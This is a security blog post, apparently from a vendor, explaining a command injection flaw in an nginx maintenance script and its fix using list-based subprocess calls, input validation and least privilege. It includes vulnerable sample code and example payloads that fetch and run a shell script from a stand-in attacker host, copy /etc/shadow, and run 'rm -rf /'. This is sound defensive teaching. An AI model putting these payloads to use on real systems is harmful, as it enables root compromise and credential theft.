Command Injection in Privileged Nginx Scripts: A High-Severity Fix
Introduction
Imagine handing someone a sticky note that says "please run this command for me" — and then walking away while they execute it with administrator privileges. That's essentially what a command injection vulnerability does. It's one of the oldest and most dangerous classes of bugs in software security, and it keeps showing up in places where developers least expect it: maintenance scripts, automation tooling, and infrastructure management code.
This post covers a high-severity command injection vulnerability (CWE-78) that was discovered and patched in harness_route.py, an nginx harness maintenance script. The fix matters not just because of the specific bug, but because it illustrates a pattern that appears constantly in DevOps and infrastructure tooling — and one that carries outsized risk precisely because these scripts are often run with elevated privileges.
The Vulnerability Explained
What Is Command Injection?
Command injection (classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command) occurs when an application constructs a system command using externally influenced input without properly sanitizing or validating that input. The result: an attacker can append or substitute malicious commands that the system executes as if they were legitimate.
In Python, the danger zone is typically subprocess — specifically when:
shell=Trueis used (which passes the command through a shell interpreter like/bin/sh)- Arguments are constructed by string concatenation or f-strings using untrusted data
- Input from configuration files, environment variables, or HTTP parameters is passed directly into command arguments
The Vulnerable Code Pattern
The vulnerability in harness_route.py involved the use of subprocess.check_output() for nginx management tasks — things like reloading configuration, managing processes, or operating on files in privileged directories.
Here's a simplified representation of the vulnerable pattern:
# VULNERABLE - Do not use this pattern
import subprocess
def reload_nginx(config_path):
# config_path could come from a routing config file or external input
command = f"nginx -t -c {config_path} && nginx -s reload"
result = subprocess.check_output(command, shell=True)
return result
At first glance, this looks like a reasonable maintenance function. But consider what happens if config_path is influenced by an attacker:
config_path = "/etc/nginx/nginx.conf && curl http://attacker.com/shell.sh | bash"
With shell=True, the entire string is handed to /bin/sh, which dutifully executes both the nginx command and the attacker's payload. If this script runs as root (common for nginx management tasks), the attacker now has root-level code execution.
Why Maintenance Scripts Are Especially Dangerous
The risk multiplier here is privilege level. Nginx management scripts routinely need elevated permissions to:
- Read and write configuration files in
/etc/nginx/ - Send signals to the nginx master process
- Bind to privileged ports (< 1024)
- Reload or restart system services
This means that a command injection vulnerability in such a script isn't just "arbitrary code execution" — it's arbitrary code execution as root. The blast radius is the entire system.
Real-World Attack Scenario
Let's walk through a realistic exploitation path:
-
The setup:
harness_route.pyreads routing configuration from a file or accepts parameters that influence which nginx config to validate or reload. -
The injection point: An attacker finds a way to write to the routing configuration file, or discovers an API endpoint that passes parameters to the maintenance script.
-
The payload: They craft a malicious value:
/etc/nginx/nginx.conf; cat /etc/shadow > /tmp/shadow_copy; chmod 777 /tmp/shadow_copy -
The execution: The script runs with sudo/root, the shell interprets the semicolon as a command separator, and the attacker now has a world-readable copy of the system's password hashes.
-
The escalation: From here, offline password cracking, lateral movement, or full system compromise is straightforward.
The Fix
What Changed
The fix centers on eliminating shell interpretation and treating all external input as data, not code. The corrected approach uses subprocess in a way that bypasses the shell entirely.
Here's the secure pattern that replaces the vulnerable code:
# SECURE - Use this pattern instead
import subprocess
import shlex
import os
def reload_nginx(config_path):
# Validate the input first - ensure it's an absolute path to an expected location
allowed_config_dir = "/etc/nginx/"
# Normalize and validate the path
real_path = os.path.realpath(config_path)
if not real_path.startswith(allowed_config_dir):
raise ValueError(f"Invalid config path: config must be within {allowed_config_dir}")
# Pass arguments as a LIST, not a string - no shell=True
test_result = subprocess.check_output(
["nginx", "-t", "-c", real_path],
stderr=subprocess.STDOUT
)
reload_result = subprocess.check_output(
["nginx", "-s", "reload"],
stderr=subprocess.STDOUT
)
return reload_result
Why This Works
Several security improvements work together here:
1. Arguments as a list, not a string
When you pass a list to subprocess.check_output(), Python uses execvp() under the hood — it calls the binary directly without invoking a shell. There is no shell to interpret metacharacters like ;, &&, |, $(), or backticks. The argument "/etc/nginx/nginx.conf; rm -rf /" becomes a literal filename that nginx will (correctly) fail to find, rather than a shell command sequence.
# Shell is bypassed entirely - metacharacters are just data
subprocess.check_output(["nginx", "-t", "-c", user_input])
2. No shell=True
This is the single most impactful change. shell=True is almost never necessary for well-structured code, and its presence should always trigger a security review. When you need to chain commands, do it in Python logic — not in a shell string.
3. Input validation with path normalization
Using os.path.realpath() resolves symlinks and ../ traversal sequences before validation. Checking against an allowed_config_dir prefix ensures the script only operates on files in the expected location, preventing path traversal attacks.
4. Explicit error handling
The fix raises a ValueError for invalid input rather than silently proceeding. Fail loudly and early — don't let suspicious input continue down the execution path.
Prevention & Best Practices
The Golden Rules for Subprocess Security
Rule 1: Never use shell=True with external input
If you find yourself writing subprocess.run(f"command {user_value}", shell=True), stop. Refactor to use a list.
# ❌ Dangerous
subprocess.run(f"grep {pattern} {filename}", shell=True)
# ✅ Safe
subprocess.run(["grep", pattern, filename])
Rule 2: Validate and allowlist inputs
Before passing any value to a subprocess call, validate it against an allowlist of expected values or patterns:
ALLOWED_NGINX_SIGNALS = {"reload", "reopen", "quit", "stop"}
def send_nginx_signal(signal):
if signal not in ALLOWED_NGINX_SIGNALS:
raise ValueError(f"Invalid nginx signal: {signal}")
subprocess.check_output(["nginx", "-s", signal])
Rule 3: Use shlex.quote() as a last resort
If you absolutely must construct a shell string (legacy code, complex pipelines), use shlex.quote() to escape individual arguments. But prefer the list approach whenever possible.
import shlex
# Only if shell=True is truly unavoidable
safe_path = shlex.quote(user_provided_path)
subprocess.run(f"nginx -t -c {safe_path}", shell=True)
Rule 4: Apply the principle of least privilege
Maintenance scripts should not run as root unless absolutely necessary. Use:
- Specific sudo rules that allow only the exact commands needed
- Capabilities (CAP_NET_BIND_SERVICE, etc.) instead of full root
- Dedicated service accounts with minimal permissions
# /etc/sudoers.d/nginx-maintenance
deploy_user ALL=(root) NOPASSWD: /usr/sbin/nginx -s reload
deploy_user ALL=(root) NOPASSWD: /usr/sbin/nginx -t -c /etc/nginx/nginx.conf
Rule 5: Audit configuration file inputs
If your script reads commands or paths from configuration files, treat those files as untrusted input. Validate their contents before use, and ensure the files themselves are not world-writable.
Detection Tools
Add these to your security toolchain to catch command injection issues early:
| Tool | Type | What It Catches |
|---|---|---|
| Bandit | SAST (Python) | subprocess with shell=True, hardcoded credentials |
| Semgrep | SAST (multi-language) | Custom rules for dangerous subprocess patterns |
| CodeQL | SAST | Data flow analysis from sources to sinks |
| Safety | Dependency scanning | Known-vulnerable Python packages |
| Trivy | Container/IaC scanning | Misconfigurations in Dockerfiles and scripts |
Run Bandit on your Python codebase right now:
pip install bandit
bandit -r . -t B602,B603,B604,B605,B606,B607
The -t flag targets subprocess-related checks specifically. Any HIGH severity findings deserve immediate attention.
OWASP and Standards References
- OWASP Top 10 A03:2021 — Injection: Command injection falls under this category, consistently one of the most critical web application risks
- CWE-78: OS Command Injection — the specific weakness identifier for this vulnerability class
- CWE-88: Argument Injection — a related weakness when shell metacharacters aren't the vector but argument structure is
- NIST SP 800-53 SI-10: Information Input Validation — the control framework recommendation for input sanitization
Conclusion
Command injection in infrastructure scripts is a particularly dangerous combination: the vulnerability class is well-understood and preventable, yet it continues to appear in maintenance tooling where the consequences — root-level code execution — are most severe.
The key takeaways from this fix are:
- Never use
shell=Truewhen subprocess arguments can be influenced by external input - Pass arguments as lists to bypass shell interpretation entirely
- Validate and allowlist inputs before they reach any system call
- Apply least privilege so that even if injection occurs, the blast radius is limited
- Automate detection with SAST tools like Bandit and Semgrep in your CI/CD pipeline
Security in infrastructure code isn't glamorous work, but it's foundational. A single unvalidated argument in a privileged maintenance script can undo layers of carefully built security controls. The fix here is a few lines of code — the vulnerability it closes could have been catastrophic.
Write code that treats every external value as potentially hostile. Your future self (and your on-call rotation) will thank you.
This vulnerability was identified and patched by OrbisAI Security. Automated security scanning, combined with expert review, caught this issue before it could be exploited in production.